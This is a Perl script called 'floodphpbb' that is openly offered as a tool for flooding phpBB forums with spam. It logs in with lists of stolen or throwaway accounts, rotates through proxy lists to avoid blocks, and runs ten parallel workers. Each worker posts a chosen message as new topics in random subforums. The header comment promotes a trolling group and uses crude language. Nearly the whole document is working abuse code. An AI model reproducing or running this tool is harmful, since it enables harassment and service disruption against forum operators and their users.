source: trollforge/dsp-trollforge/PhpBB/FloodPhpBB.pl @ 41

#!/usr/bin/perl
# floodphpbb alpha 1
# by Popeye | popeye@gnaa.us | are you down with the GNAA killaz? if so see #gnaa @ irc.gnaa.us
# use this program to flood the shit out of phpbb forums
# usage - floodphpbb <url> <message> <accountlist> <proxylist>
# <url> is something like http://www.somebb.com/forum
# <message> is a file with the subject on the first line and the message on the following line(s)
# <accountlist> are accounts in the format user password (separated by a space) on each line
# <proxyfile> is a list of proxies in the format xxx.xxx.xxx.xxx:xx (address and port separated by a colon,
# one per line.

use strict;

use Socket;
use IO::Handle;
use LWP::UserAgent;
use HTTP::Request::Common;
use HTTP::Cookies;

$SIG{CHLD} = 'IGNORE';

if($#ARGV < 2)
{
 print STDERR "!! missing file argument\n";
 exit 0;
}

my $url = shift @ARGV;
my %accounts = ();
my %proxies = ();
my $subject;
my $message;
my $i;

my $MAXFORK = 10;
#my $MAXFORK = 25;
my $MAXFAIL = 1;

open MYFILE, shift @ARGV or die "$!";
$subject = <MYFILE>; chomp $subject;
while (<MYFILE>) 
{
  $message .= $_;
}
close MYFILE;

if (my $ACCOUNTFILE = shift @ARGV) 
{
  print STDERR "> Populating list of accounts from '$ACCOUNTFILE'";
  open ACCOUNTFILE, $ACCOUNTFILE or die "$!";
  $i=0;
  while (<ACCOUNTFILE>) 
  {
    $i++;
    chomp;
    /^(.+) (.+)$/;
    $accounts{$1} = $2;
  }
  close ACCOUNTFILE;
  print STDERR "\n> Got $i accounts.\n";
}

my $PROXYFILE = shift @ARGV if @ARGV;

socketpair (CHENEY, BUSH, AF_UNIX, SOCK_STREAM, PF_UNSPEC) or die "socketpair: $!";

CHENEY->autoflush(1);
BUSH->autoflush(1);

if (my $jpid = fork) 
{
  close BUSH;
} 
else 
{
  die "$!" unless defined $jpid;
  close CHENEY;
  
  $SIG{INT} = \&exit_nicely;
  
  if (defined $PROXYFILE) {
    print STDERR "> Populating list of proxies from '$PROXYFILE'";
    open PROXYFILE, $PROXYFILE or die "$!";
    $i=0;
    while (<PROXYFILE>) {
      $i++;
      chomp;
      $proxies{$_} = $MAXFAIL;
    }
    close PROXYFILE;
    print STDERR "\n> Got $i proxies.\n";
  }

  my $command;
  while (1) {
    chomp ($command = <BUSH>);
    
    if ($command =~ /getproxy/) {
      if (keys %proxies > 0) {
        print BUSH (keys %proxies)[int rand keys %proxies] ."\n";
      } else {
        print BUSH 'none\n';
      }
    } elsif ($command =~ /fail (\S+)/) {
      if ( --$proxies{$1} le 0 ) {
        print STDERR "killing $1\n";
        delete $proxies{$1};
      }
    } else {
      die "Bad command: $command\n";
    }
  }
}


for ($i=0; $i<$MAXFORK; $i++) {
  FORK: 
  {
    if (my $pid = fork) 
    {
    } 
    elsif (defined $pid) 
    {
      while (1) 
      {  
        my ($username, $password) = get_account ();
        
        print CHENEY "getproxy\n";
        chomp (my $proxy = <CHENEY>);
        
        print STDERR "> child $i posting with proxy $proxy and user $username\n";
          
        if (psot ($proxy, $username, $password)) 
        {
          print STDERR "> child $i posted with success.\n";
        } 
        else 
        {
          print STDERR "> child $i failed to post with $proxy\n";
          print CHENEY "fail $proxy\n";
          die
        }        
      }
      
    } 
    elsif ($! =~ /No more process/) 
    {
      redo FORK;
    } else 
    {
      print STDERR "hit process limit\n";
      goto ENDFORK;
    }
  }
}

while (1) { sleep 1; }

psot();

sub psot
{
  my $proxy = shift;
  my $username = shift;
  my $password = shift;
  
  my $ua = LWP::UserAgent->new;
  $ua->agent('Mozilla/5.0');
  $ua->cookie_jar(HTTP::Cookies->new);
  if (! ($proxy =~ /none/) ) { $ua->proxy('http', "http://$proxy"); }
  push @{$ua->requests_redirectable}, 'POST';
  
  my $sid;
  
  my @topics;
  
  my $response = $ua->request(GET $url); 
  
  foreach my $x (split /\n/, $response->content) 
  {
    print $x."\n";
    if ($x=~ m|php\?sid=([^\"]+)\"|i) 
    {
      $sid = $1;
    }
  }
  
  if ($sid eq "")
  {
    print "!! failed to get session ID for user\n";
    # return 0;
  }
  
  my $posturl = "$url\/login.php?redirect=$url\/index.php";
  
  my $req = POST $posturl, [    username => $username,
                                password => $password,
                                sid => $sid,
                                redirect => '',
                                login => 'Login',
        ];
  
  $req->referer($url);
  $response = $ua->request($req);
  
  foreach my $x (split /\n/, $response->content) 
  {
    if ($x=~ /(a href=.+?viewforum.+?f=(.+?)\")/) 
    {
      push(@topics, $2);
    }
  }
  
  my $choice = int(rand($#topics));
  $posturl = "$url\/posting.php";
  
  $req = POST $posturl, [        subject              => $subject,
                                 message              => $message,
                                 mode                 => 'newtopic',
                                 sid                  => $sid,
                                 f                    => $topics[$choice],
                                 post                 => 'Submit',
                                 poll_title           => '',
                                 add_poll_option_text => '',
                                 poll_length          => '',
            ];
 
  $response = $ua->request($req);
  
  if ($response->content eq "")
  {
    print STDERR "!! Error posting\n";
  }
  
  return 1;

}

sub get_account 
{
  if (keys %accounts > 0) {
    my $nick = (keys %accounts)[int rand keys %accounts];
    return ( $nick, $accounts{$nick} );
  } else {
    return ( '', '' );
  }
}

sub exit_nicely 
{
  die "> Exiting floodphpbb.\n";
}